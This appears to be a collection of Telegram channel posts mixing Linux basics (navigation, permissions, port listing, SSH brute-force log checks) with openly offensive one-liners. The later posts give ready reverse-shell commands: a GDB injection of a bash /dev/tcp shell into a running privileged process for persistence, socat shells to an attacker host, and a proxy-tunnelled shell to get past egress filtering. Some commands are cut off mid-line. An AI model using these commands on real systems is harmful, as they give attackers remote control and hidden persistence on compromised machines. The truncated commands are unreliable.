📂 File Navigation in Linux

🔑 Key Commands
ls - List directory contents
cd - Change directory
pwd - Show current path
tree - Display directory structure
history - View command history

🧪 Task of the Day

cd /
ls
cd etc
pwd
cd ~
ls -la

Install and use tree:

sudo apt install tree
tree /home

🔍 Linux Directory Breakdown
/etc - Configuration files
/var - Logs, web files, variable data
/home - User directories
/tmp - Temporary storage
/root - Root user home

⚠️ Security Note:
These directories are often involved in privilege escalation or persistence in real-world attacks.

#Linux #Terminal #CyberSecurity

🔐 File Permission Breakdown

ls -l example:

-rwxr-xr-- 1 user group 1337 Jan 1 exploit.sh

- = file (d=dir, l=symlink)
rwx = owner: read, write, execute
r-x = group: read, execute
r-- = others: read only

🧠 Permission Notation
rwxr-xr-- = 754
rwxrwxrwx = 777 (dangerous!)

🔧 Commands

chmod +x file
chmod 755 file
chown user:group file

🧪 Task of the Day

echo 'echo hacked' > test.sh
chmod +x test.sh
./test.sh
chmod 777 test.sh
ls -l
sudo chown root:root test.sh

🚩 Real-World Hacking
🔥 Root-owned script + group-writable = escalation
🔥 Misconfigured crontabs = root shell
🔥 Permissions = hacker's tool

👉 https://t.me/TheExploitLabX

#Linux #Permissions #CyberSecurity

🔍 Discover Open Ports & Services on Your Linux System!

Ever wondered what services are listening on your machine? This one-liner does the trick:

ss -tlpn | awk 'NR>1 {gsub(/.*:/,"",$4); split($7,p,","); print $4, p[2]}' | sort -n | uniq

What it does:
- ss -tlpn: Lists all TCP/UDP listening ports and processes.
- awk: Extracts the port number and process name.
- sort -n | uniq: Sorts and removes duplicates for a clean output.

📢 Follow for more Linux tips & cybersecurity insights!
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#Linux #Cybersecurity #Networking #TheExploitLab

🚨 Top 5 IP Addresses Attempting SSH Brute Force Attacks!

Ever wondered who's trying to brute force your SSH server? This one-liner extracts the top 5 IP addresses with failed password attempts from your /var/log/auth.log:

sudo grep "Failed password" /var/log/auth.log 2>/dev/null | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort | uniq -c | sort -rn | head -5

How it works:
1. grep "Failed password" → Filters failed login attempts.
2. grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" → Extracts IP addresses.
3. sort | uniq -c | sort -rn → Counts and sorts IPs by frequency.
4. head -5 → Shows the top 5 offenders.

🔍 Why monitor this?
- Identify malicious IPs targeting your server.
- Block them using iptables or fail2ban.

📢 Stay updated with more security tips:
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#CyberSecurity #SSH #Linux #TheExploitLab

🔍 Top Memory Consumers on Your Linux System

Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:

ps -eo user:20,rss | awk 'NR>1{m[$1]+=$2}END{for(u in m)printf"%s:%.2fGB\n",u,m[u]/1024/1024}'|sort -rnk2|head

What it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.

Why it’s useful:
✅ Quickly identify resource-heavy users.
✅ Helpful for server admins and troubleshooting.
✅ No extra tools needed—just pure Bash!

📢 Follow for more Linux tips & tricks:
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#Linux #SysAdmin #Bash #CommandLine #TheExploitLab

🐧 Inject Reverse Shell into Live Process
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.

📋 Command:

gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'

💡 Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.

🚩 Flags:
┃ -p <PID>: Attach GDB to a running process specified by its Process ID.
┃ -ex '<command>': Execute the specified GDB command non-interactively.
┃ call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.
┃ detach: Detach GDB from the target process, allowing it to continue execution unaffected.
┃ quit: Exit the GDB debugger after executing commands.

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#Linux #CommandLine #SysAdmin #Hacking #Kali
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🕐 03 Mar 2026 • 17:22 | @TheExploitLabX

🐧 Socat Interactive Reverse Shell
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Establishes a fully interactive reverse shell over TCP to an attacker's listener.

📋 Command:

socat TCP:<ATTACKER_IP>:<ATTACKER_PORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane

💡 Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).

🚩 Flags:
┃ TCP:<IP>:<PORT>: Specifies the TCP connection target (attacker's IP and port).
┃ EXEC:'bash -li': Executes `/bin/bash` in login interactive mode for the shell.
┃ pty: Allocates a pseudo-terminal for a fully interactive shell experience.
┃ stderr: Redirects standard error to the network connection.
┃ setsid: Creates a new session ID, detaching the process from the parent.
┃ sigint: Forwards Ctrl+C (SIGINT) signals to the spawned shell.
┃ sane: Resets terminal settings to a standard, functional state.

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
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🕐 03 Mar 2026 • 17:29 | @TheExploitLabX

🐧 Web Root Sensitive Data Scan
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Recursively searches a web root for common sensitive data patterns within various file types.

📋 Command:

find /var/www/html -type f \( -name "*.php" -o -name "*.js" -o -name "*.txt" -o -name "*.conf

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
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🕐 03 Mar 2026 • 17:31 | @TheExploitLabX

🐧 Proxy Reverse Shell Magic
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Establishes an interactive reverse shell through an HTTP proxy to bypass network egress filtering.

📋 Command:

socat TCP:proxy.example.com:8080 PROXY:attacker_ip:4444,proxytype=http EXEC:'/bin/bash -li

💡 Use Case:

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#Linux #CommandLine #SysAdmin #Hacking #Kali
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🕐 03 Mar 2026 • 18:49 | @TheExploitLabX

🚀 Meet wifit3 — Cross-Platform Wi-Fi Security Auditing Tool

Looking for a powerful open-source wireless security tool? 👀

🔍 What is wifit3?
wifit3 is a Python-based USB Wi-Fi auditing tool designed to run on Windows, Linux, and macOS using compatible USB wireless adapters.

🔥 Key Features
📡 Real-time Wi-Fi scanning and signal tracking
🖥 Multi-adapter support
🔐 WPA/WPA2 handshake capture support
🛡 PMKID collection and WPS security testing
📶 Wireless security analysis and legacy WEP testing
⚙️ Built-in user-space wireless drivers
💻 Prebuilt releases available for supported platforms

📥 GitHub Repository
https://github.com/derv82/wifit3

⬇️ Download Latest Releases
Get wifit3 here

⚠️ Requirements & Safety
A compatible USB Wi-Fi adapter is required. Use this tool only on networks and devices you own or have explicit permission to audit.

💡 Explore the code, check the supported hardware list, and learn more from the official repository!

#CyberSecurity #EthicalHacking #WiFiSecurity #Python #Linux #OpenSource #InfoSec